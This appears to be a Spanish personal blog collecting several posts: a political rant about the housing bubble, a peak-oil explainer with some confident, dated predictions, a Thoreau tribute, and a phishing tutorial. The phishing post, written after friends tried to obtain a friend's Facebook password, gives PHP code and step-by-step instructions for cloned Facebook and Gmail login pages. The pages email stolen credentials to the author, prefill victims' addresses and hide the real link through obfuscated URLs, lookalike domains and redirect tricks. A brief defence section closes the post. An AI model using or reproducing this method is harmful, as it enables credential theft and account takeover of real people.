Por supuesto hace unas semanas, a toro pasado y en vista de la campaña electoral, Rubalcaba entonó un exiguo mea culpa: «Teníamos que haber pinchado decididamente la burbuja inmobiliaria, y lo hicimos tímidamente, y eso ha pesado sobre nuestra economía». Pero ahí quedó todo. Sí, es muy bonito reconocerlo públicamente, de cara a la galería, pero como es costumbre en este país nadie asume responsabilidades. Si cuando estaba claro cuál era el problema y existían distintas alternativas de atenuarlo, como reconocen en sus artículos y su programa electoral, no hicieron nada ¿cómo esperan que nadie deposite su confianza en ellos nunca más?

Lo sabían, y callaron como putas sin hacer nada salvo engordar sus propios bolsillos.

Y ojo, que terminará indefectiblemente pasando por aquí algún ciber-pepiño o fanboys socialistas a insultar, porque ése es su único argumento, y a llamarme pepero por exponer la realidad que adolece este país; para los ciegos votantes del PPSOE el que no está con ellos pertenece al otro ala del partido. Pero antes quiero recordar —aunque ninguno de ellos vaya a llegar a leer hasta aquí— que en ningún caso la alternativa es el Partido Popular, pues su solución a la crisis a la que hemos llegado apilando tochos es… más ladrillo. La política que seguirá el PP no es en ningún caso distinta de la que ha seguido el PSOE, pues son un único partido (PPSOE) interpretando un fingido odio al servicio del FMI. La campaña “¡que viene la derecha!” que lleva jugando el PSOE durante 30 años ya no tiene sentido (ni tenía entonces, pero era más dismulado) cuando la derecha ya está bobernando.

(La idea de esta entrada salió al ver varios artículos publicados por foreros de burbuja.info en respuesta a un tema que inicié en ese foro sobre el conocimiento de Rato en 2004 de que iba a venir una dura crisis económica, a los cuales agradezco su participación. Si quieres entender de verdad la situación financiera y política internacional, te recomiendo visitar este foro, donde he leído algunos de los análisis y críticas más lucidos de internet).

El fin del petróleo (y de la energía)

El pico del petróleo (en inglés Peak Oil) es el momento en el cual se alcanza la tasa máxima de extracción de petróleo global y tras el cual la tasa de producción entra en un declive terminal.

M. King Hubbert creó y uso por primera vez los modelos subyacientes al pico petrolero en 1956 para predecir de manera precisa que la producción petrolera de los Estados Unidos tendrá su pico entre 1965 y 1970 (como así sucedió y provocó la crisis energética de los 70). Su modelo logístico, actualmente denominado Teoría del pico de Hubbert, y sus variantes han descrito con razonable precisión el pico y el declive de la producción de los pozos petrolíferos, yacimientos petrolíferos en diferentes regiones y países.

Pico de Hubbert

Es un hecho que este pico existe (la cuarta parte del artículo de la wikipedia son fuentes), y lo que se debate en la actualidad es cuándo va a llegar. Los estudios más optimistas hablan de un lustro, los más agoreros afirman que fue hace un lustro, y muchos piensan que hemos alcanzado el pico el año pasado.

Antes que nada, esto no es una idea de un par de perroflautas ni una teoría de la conspiración ni nada, es algo real, documentado y aceptado por todos. En este enlace podrás ver menciones internacionales al respecto, reuniones de ministros, conferencias, etc. En este otro, parecido a nivel Español: menciones en el parlamento, estudios encargados la administración y cantidad de documentos oficiales de distintos Ministerios y ayuntamientos, Comunidades Autónomas… Incluso el Ministerio de Defensa ha hecho estudios sobre la importancia capital que el petróleo tendrá en unos pocos años, y si los militares andan preocupados con esto es que no es tema baladí.

Si no has oído hablar antes es porque no interesa darle publicidad. Las malas noticias restan votos y la realidad no interesa de cara a las siguientes elecciones (un ejemplo reciente: el PSOE ganó las de 2008 negando una crisis económica que era más que evidente, en lugar de hacer frente a la situación y tomar las medidas adecuadas para suavizar el golpe), y preparar al mundo para el final del petróleo es una tarea ardua que no puede realizarse en cuatro años. En el mundo ya no quedan estadistas, que gobiernan pensando en las próximas generaciones, sino políticos, para los cuales un problema aplazado es un problema resuelto1. Así que mientras no les toque a ellos o no exista suficiente presión popular para actuar, seguirán pasando la patata caliente hasta que le reviente a otro en las manos. Y lo jodido es que, cuando reviente no sólo se llevará al político de turno, sino a todos nosotros.

Casi todo el mundo cuando oye hablar sobre el fin del petróleo piensa que con ir al trabajo en bicicleta estaremos tan contentos, pero no se trata de eso, los turismos son en lo que menos petróleo se gasta en el mundo. Toda nuestra sociedad está basada en el petróleo.

La amplia mayoría de los plásticos están realizados con petróleo (el PVC, por ejemplo): mira a tu alrededor a ver qué no tiene plástico, el aislante de los cables por los que circula la electricidad es de plástico, carcasas de casi cualquier aparato, envases para alimentos y bebidas, prótesis, juguetes…

No sólo eso. El petróleo representa de media el 33% de la energía primaria consumida en el mundo (varía según el país) y con él también se fabrican fertilizantes, detergentes, neumáticos, aceites lubricantes para engrasado de maquinaria, colorantes y antioxidantes sintéticos, asfaltos para pavimentos, el butano de la clásica bombona naranja, pinturas, vaselina para pomadas y otros cosméticos, papel (se le añaden polipropilenos para conseguir determinadas características), combustibles para aviones, barcos, camiones y maquinaria pesada como tractores o grúas… la lista es interminable.

Y ojo, que los medios de transporte no son tema baladí. En un mundo tan globalizado como el que vivimos necesitamos importar muchísimo, tanto manufacturas, como materias primas, como alimentos (para cuya cosecha se requiere petróleo para tractores y fertilizantes). Llegará un punto en el que traer todos esos productos será inviable económicamente y nos quedaremos sin ellos. Y tampoco podremos exportar nuestro exceso de producción (aparte de los problemas de abastecimiento, el petróleo tiene un impacto directo en el crecimiento económico).

Es muy interesante echar un vistazo a los datos del INE sobre mercancías exportadas e importadas en España, con información desde 1994 y clasificada en 99 categorías. Obserrvando los datos de 2009, somos grandes exportadores de fruta, legumbres, manufacturas de piedra (cemento), y armas. Pero tenemos un inmenso vacío que rellenar con importaciones, por ejemplo (y ahora tomo datos de 2005 para comparar con nuestra producción, de la que no tengo datos más recientes): importamos 13 millones de toneladas de cereales y cosechamos exactamente la misma cantidad, es decir, que dependemos del exterior para cubrir la mitad de la demanda de cereales. Importamos unas 130 millones de toneladas de combustibles, frente a las 20 millones de toneladas que produjimos. También importamos 1450 millones de toneladas de materias textiles y sus manufacturas (3100 millones de toneladas en 2009) con una exportación constante de 800 millones, con lo que no creo que haya aumentado nuestra producción (comparo con exportaciones al no tener datos de producción de textiles). Se puede perder un rato curioseando en la página de exportaciones e importaciones del INE. Muy útil comparando las exportaciones con la cantidad que producimos (cosechamos/extraemos) de cada producto en España, aunque los datos terminen en 2005.

Ahora mismo hay mucha publicidad sobre el coche eléctrico… ¿Pero a que no habéis oído hablar del camión eléctrico, o del tractor eléctrico? La potencia y autonomía que se consigue con el motor eléctrico es todavía irrisoria, imposible para nada más grande que un turismo (por eso los prototipos que se ven son biplazas ultraligeros). Pero no sólo eso, sino que el litio que hay en todo el mundo se estima que no daría ni para el 15% del parque automovilístico del mundo (cálculos ampliados). Por todo ello y más razones, problemas con la generación de electricidad, falta de infraestructuras (eléctricas para la carga de coches y porque las carreteras se hacen con petróleo) hay varios motivos para afirmar que el coche eléctrico no llegará nunca a producirse comercialmente a gran escala.

Y no sólo eso, también la generación de electricidad depende del petróleo. Las centrales térmicas, que producen el 50% de la electricidad que se consume en España, están alimentadas por petróleo, carbón y gas natural (y similar porcentaje a nivel mundal). De estos tres combustibles, el carbón ya ha tenido su pico, y el gas lo tendrá antes de diez años. Los biocombustibles tampoco son una alternativa para generar electricidad ni para mover vehículos, no sólo por su pobre aporte energético (se utiliza casi tanto petróleo entre fertilizantes, tractores y transporte como el que se obtiene), sino porque roban grandes extensiones de terreno que deberían utilizarse para alimentos, habiendo causado ya alguna crisis alimentaria por el incremento de precios.

La energía nuclear (que en España supone el 20% de la generación de electricidad) no sólo se enfrenta a las mismas preguntas anteriores, sino que se estima que el pico del uranio está también muy cercano. Además, en 2008 se consumieron en el mundo el equivalente a 65.000 toneladas de uranio natural: las minas de uranio sólo proporcionaron unas 44.000 toneladas de ese uranio, mientras que las 21.000 toneladas restantes fueron extraídas de las llamadas reservas secundarias. Estas reservas secundarias se estiman en unas 500.000 toneladas el de las reservas militares (principalmente EEUU y Rusia en forma de cabezas nucleares) y en unas 50.000 toneladas en las reservas civiles, las cuales se estima que al ritmo actual se agotarán en 3-4 años. Si USA y Rusia no reciclan parte de sus misiles y los venden en el mercado libre, habrá una escasez del 30% del uranio, con lo que la tercera parte de las centrales del mundo deberían parar. Y aunque reciclasen todo, daría para 10-20 años al ritmo de consumo actual. Con un futuro tan negro resulta estúpido apostar fuerte por esta energía.

Para solucionar la la falta de electricidad, podremos instalar más renovables… pero dejando de lado el problema de la eficiencia ¿cómo se construyen las presas, paneles solares, molinos o fábricas? ¿cómo se desplazan hasta donde se coloquen? ¿cómo se llevan a reparar? ¿cómo se extraen las materías primas para fabricarlos? ¿cómo se transportan y tratan los deshechos? Todas las respuestas necesitan el petróleo. Y principalmente, este último problema de desplazamiento y extracción es común al resto de materiales que nos rodean. No se puede esperar al último momento para incrementar su uso, porque llegaremos a un abismo de energía: la ya de por sí poca energía que conseguiremos tendremos que utilizarla para conseguir más energía, entrando en un bucle sin fin.

El principal problema que hay que comprender sobre el peak oil, es este último punto, el rápido declive de la energía neta. La oferta de petróleo no va a ir disminuyendo lentamente, mientras los precios se van encareciendo poco a poco durante muchos años. No. Por supuesto que no ocurrirá de la noche a la mañana, pero la caída será mucho más rápida de lo que fue la subida. Entre otras cosas, porque el consumo energético del globo aumenta sin parar, juntándose el hambre con las ganas de comer. Y, porque cuanto menos petróleo queda, más coste tiene extraerlo, volviendo al abismo antes mencionado. Además, una vez estemos al lado derecho de la curva de Hubbert pueden pasar muchas cosas (como revueltas de hambrientos, cómo las ya ocurridas a principios de 2011, en países exportadores de petróleo que afecten a la producción).

Hay que tener el claro el concepto de Tasa de retorno Energético (EROEI), que permite analizar una fuente de energía comparando cuánta enegía ofrece a cambio de la que necesitamos para aprovecharla. Un EROEI de 30:1 significa que por cada unidad energética que empleo en procesar una materia, me devuelve 30 unidades energéticas. La siguiente imagen, del informe Searching for a miracle de Richard Heinberg habla por sí sola, pero destacaré el petróleo: En los años 30 el EROEI era de 100:1, en los años 70 de 30:1 y ahora está por debajo del 20:1. Diversos estudios aseguran que para que una sociedad industrial moderna como la nuestra funcione, el EROEI de las energías utilizadas ha de ser, como mínimo, entre 5:1 y 10:1.

Llevo varios días absorto con la lectura del blog The Oil Crash, en el que gracias Antonio Turiel he ido descubriendo con cada artículo suyo la realidad sobre un problema tan grave como éste y del cuál se da tan poca información al público. De verdad creo que es algo que merece la pena entender y analizar, porque no se va arreglar solo, la solución es cosa de todos y no va a haber un político que mueva un solo dedo si no estamos todos implicados: ser optimista es una irresponsabilidad. Y el primer paso es darlo aconocer a cuanta más gente mejor, por eso he escrito este post algutinando las entradas más reveladoras de The Oil Crash (que es una de las pocas fuentes de calidad en español). Cada párrafo intenta extraer las ideas fundamentales de los enlaces que incluye, así que recomiendo seguirlos para ampliar información en las cosas que no se vean claras.

Fuentes y otros links de interés (obligada lectura de los dos primeros):

1- Frase combinada por mí a partir de una aparecida en el artículo Intrusos en el comedor de Reverte y una cita de Freeman Clarke.

Henry David Thoreau #DemocraciaRealYa

«La ley jamás hizo a los hombres un ápice más justos; y, en razón de su respeto por ella, incluso los mejor dispuestos se convierten a diario en agentes de la injusticia.»

Hoy, más que nunca: Henry David Thoreau, padre de la desobediencia civil.

En 1846, Thoreau se negó a pagar impuestos debido a su oposición a la guerra contra México y a la esclavitud en Estados Unidos, por lo que fue encarcelado. De este hecho nace su tratado La desobediencia civil, pionero al proponer algunas ideas como el pacifismo y la no violencia que resurgirían con fuerza en el altermundismo del siglo XX. En este texto se declara uno de los conceptos principales de su ideología: la idea de que el gobierno no debe tener más poder que el que los ciudadanos estén dispuestos a concederle, llegando a tal punto que propone la abolición de todo gobierno. Considerado por algunos como el primer ecologista, su ensayo fue influyente en Lev Tolstói y en Mahatma Gandhi.

Wikipedia – Henry David Thoroeau

The state is not armed with superior wit or honesty, but with superior physical strength.

«Pero, para hablar en forma práctica y como ciudadano,  a diferencia de aquellos que se llaman “antigobiernistas”, yo pido, no como “antigobiernista” sino como ciudadano, y de inmediato, un mejor gobierno. Permítasele a cada individuo dar a conocer el tipo de gobierno que lo impulsaría a respetarlo y eso ya sería un paso ganado para obtener ese respeto.  Después de todo, la razón práctica por la cual, una vez que el poder está en manos del pueblo, se le permite a una mayoría, y por un período largo de tiempo, regir, no es porque esa mayoría esté tal vez en lo correcto, ni porque le parezca justo a la minoría, sino porque físicamente son los más fuertes. Pero un gobierno en el que la mayoría rige en todos los casos no se puede basar en la justicia, aún en cuanto ésta es entendida por los hombres. ¿No puede haber un gobierno en el que las mayorías no decidan de manera virtual lo correcto y lo incorrecto – sino a conciencia?,  ¿en el que las mayorías decidan sólo los problemas para los cuales la regulación de la conveniencia sea aplicable? ¿Tiene el ciudadano en algún momento, o en últimas, que entregarle su conciencia al legislador? ¿Para qué entonces la conciencia individual? Creo que antes que súbditos tenemos que ser hombres. No es deseable cultivar respeto por la ley más de por lo que es correcto. La única obligación a la que tengo derecho de asumir es a la de hacer siempre lo que creo correcto.»

Desobediencia CivilH. D. Thoreau

Recomiendo leer, reflexionar, compartir, divulgar, imprimir y llevar octavillas a las asambleas y acampadas de #DemocraciaRealYa y #spanishrevolution con los textos de Thoreau.

Go confidently in the direction of your dreams! Live the live you've imagined

Un par de enlaces a su obra.

Phishing – ¿Sabías lo fácil que es hacer una página que robe tus datos?

Anoche unos amigos me comentaron sus infructuosos intentos por conseguir la contraseña del facebook de una amiga. Es una buena amiga, sólo lo quieren por diversión (para enviar solicitudes de amistad a usuarios filipinos) y para retarse a sí mismos. Sin pensarlo demasiado, les sugerí algo de phishing.

Entonces me dije ¿Por qué no intentar hacer mi propia página? (tranquilo, no hace nada malo, puedes acceder con datos falsos también) Es un tema interesante y, como todo, se aprende mucho cuando lo haces por ti mismo. Pensé que sería mucho más complicado, pero en una hora conseguí una página falsa de login que reenviaba usuario y contraseña a mi email, y redirigía a facebook.com. Todo sin saber apenas nada de PHP (lo poco de modificar alguna cosilla del blog), que he tenido que buscar hasta como concatenar cadenas. Y sin mirar ningún tipo de guía sobre cómo hacer una página de phishing. Una hora trabajando por mi cuenta.

Aunque mucha gente pueda saber lo que es el phishing, no se le da una importancia real porque todos pensamos que es mucho más complicado; sin embargo quiero demostrar aquí lo sencillísimo que es empezar a pescar datos, para concienciaros de que hay que tener un poco más de cuidado al introducir nuestras contraseñas en los links que seguimos. Lo he probado con éxito con algunos de mis amigos. Si no te interesan los detalles técnicos, sáltatelos y aprende a defenderte.

Gone Phishing Martha Stewart Chocolate Cupcakes

Primero – Enviar email con PHP

Supongamos que queremos recibir los datos que introduce el usuario por email. También se podrían ir almacenando en un fichero en nuestro servidor y luego consultarlo, pero para este caso me preferí utilizar el email. En PHP es sencillísimo, y en esta página explican todo. Con un fichero de seis líneas es suficiente, el primer ejemplo de todos.

Pero nosotros no queremos enviar siempre el mismo mensaje, queremos el usuario y contraseña, que en la página de login de facebook se envían como parámetros mediante POST bajo las variables email y pass. Así que escribimos:

$message = “Otro pardillo pone sus datos!:\n\n”. $_POST[“email”] . ” – ” . $_POST[“pass”];

En lugar de escribir en la misma página si el email fue enviado con éxito, lo que hacemos es redirigir a facebook.com (el usuario normalmente está ya logueado, por lo que no se dará cuenta de nada), por lo que escribimos al final del archivo:

header(“Location: http://www.facebook.com/”);

Completado. Luego podemos mejorarlo todo lo que queramos. Por ejemplo, mi fichero acepta un parámetro “newurl” que permite redirigir a cualquier otra web. Además, si el campo “pass” llega vacío, vuelve a la página anterior.

Finalmente, tenemos un fichero como este (haz clic para ver en tu navegador), listo para recibir los datos.

Segundo – Modificar login de Facebook

Ahora vamos al link de cualquier página de facebook sin estar logueados y nos saldrá la ventana de login y la guardamos como cualquier otra página.

Lo único que tenemos que hacer aquí, es buscar el formulario y cambiar la dirección a la que lo envía facebok, por la de nuestro fichero que envía emails, en mi caso action=”email.php”.

Y ya está. Ahora, subimos todo a un servidor, y cualquiera que acceda a nuestra página, verá una perfecta copia del login de Facebook, pero que nos enviará toda la información a nuestro email.

Tercero – Mejoras al login

Todo lo siguiente es un extra, con lo hecho hasta ahora ya es perfectamente funcional.

Por supuesto la página de login también puede mejorarse. Por ejemplo, personalizarla para cada víctima, haciendo que aparezca por defecto su email en la caja de texto. Esta información podemos pasarla con parámetros al enviarle nuestra dirección, de la forma:

http://loginfalso.php?name=fulanito&domain=gmail.com

Buscamos el input con id=email y añadimos la siguiente línea.

value=”<?php if($_GET[“name”]){echo ($_GET[“name”].”@”.$_GET[“domain”]);}?>”

También, puesto que el fichero email.php acepta un parámetro para cambiar la redirección, podemos configurarlo desde aquí, “http://loginfalso.php?name=fulanito&domain=gmail.com&newurl=www.otrapagina.com

cambiando el “action” del formulario por:

action=”<?php echo “email.php?newurl=”.$_GET[“newurl”]?>”

Desde luego, todo esto es muy descarado, así que se puede ofuscar añadiendo parámetros sin sentido, para hacer más larga la dirección. De hecho, el email se especifica en dos parámetros precisamente para esto. Se pueden poner todos los que se quieran y en cualquier orden.

Tampoco se va a fiar mucho alguien a quién le pases por chat un enlace a tu propio dominio, como tiendadeultramarinos.es, y cuando le salga el login de facebook le parecerá raro. Por eso, cuando alguien se toma en serio este tema, compra dominios con nombres parecidos al original. Por ejemplo, facebok, fecebook, facebooc, feisbuk.es… de modo que cuando entras al link no te fijas de que realmente es otra página.

Pero si alguna vez habéis copiado un vínculo desde Facebook, veréis que los envía a través de una página que redirige al vínculo. Algo como lo siguiente, envía a mi blog, pero cuando lo ves, parece que sea interno de Facebook.

https://www.facebook.com/l.php?u=http%3A%2F%2FDIRECCION&h=b70fc

https://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tiendadeultramarinos.es&h=b70fc

Claro que, una vez accedido al link, la parte inicial de www.facebook.com desaparece: pero muchas veces el usuario no se fijará una vez esté dentro de la web, sólo en el momento de clicar el enlace.

Una última mejora sería bajarnos las páginas de login de distintos idiomas y modificarlas al gusto. Para gestionar todas sencillamente con la misma dirección, he creado un pequeño fichero PHP que redirige a las páginas de login de cada idioma en función de un parámetro lang. Más info y ejemplos de direcciones ofuscadas, en el fichero de redirección.

Cuarto – Lo mismo en Gmail

No os penséis que Google lo pone más difícil. He seguido el mismo proceso con idénticos resultados. Aquí la página falsa. Como no tenemos el truco de facebook de poner la dirección primero, tenemos que recurrir a otro modo para dar la sensación al ver el link de que es la página real de gmail. Esto lo explican muy bien en la wikipedia, y se hace sencillamente poniendo la dirección destino detrás de la arroba, así:

http://www.gmail.com@direccionfalsa

Finalmente – ¿Cómo me defiendo?

Como habéis visto es tremendamente sencillo hacer una página falsa para robar vuestras cuentas de acceso a cualquier servicio. Generalmente nadie se va a molestar en robaros la cuenta del Facebook, el objetivo real detrás del phishing es tener acceso a las cuentas de los bancos, así que es con lo que más cuidado hay que tener.

El principal consejo es, siempre, escribir vosotros mismos la dirección de la página en la que queréis loguearos. Nunca lo hagáis siguiendo vínculos. Primero iniciad sesión en una pestaña aparte, y luego volved al email y seguid el enlace que os han pasado, y si no es trampa no os pedirá que volváis a iniciar sesión.

La banca electrónica es segura, simplemente hay que ser cuidadoso a la hora de meter nuestros datos. Del mismo modo que no enviríais vuestra tarjeta de crédito con vuestro PIN en un sobre a una dirección desconocida, ni daríais vuestros datos a cualquiera que se presentase en casa o llamase por teléfono. En internet hay que seguir, exactamente, las mismas precauciones que en la vida real: sentido común.

El objetivo de la explicación en este post de cómo hacer la página es doble. Primero, llamar vuestra atención sobre el problema destacando la facilidad de crearlas. Segundo, entendiendo cómo puede atacaros vuestro “enemigo” tenéis más posibilidades de comprender cómo defenderos.

Para terminar, os dejo un par de guías en español para protegerse del phishing, más completas que las pinceladas que he dado yo: Vulneravility Team e  Internautas.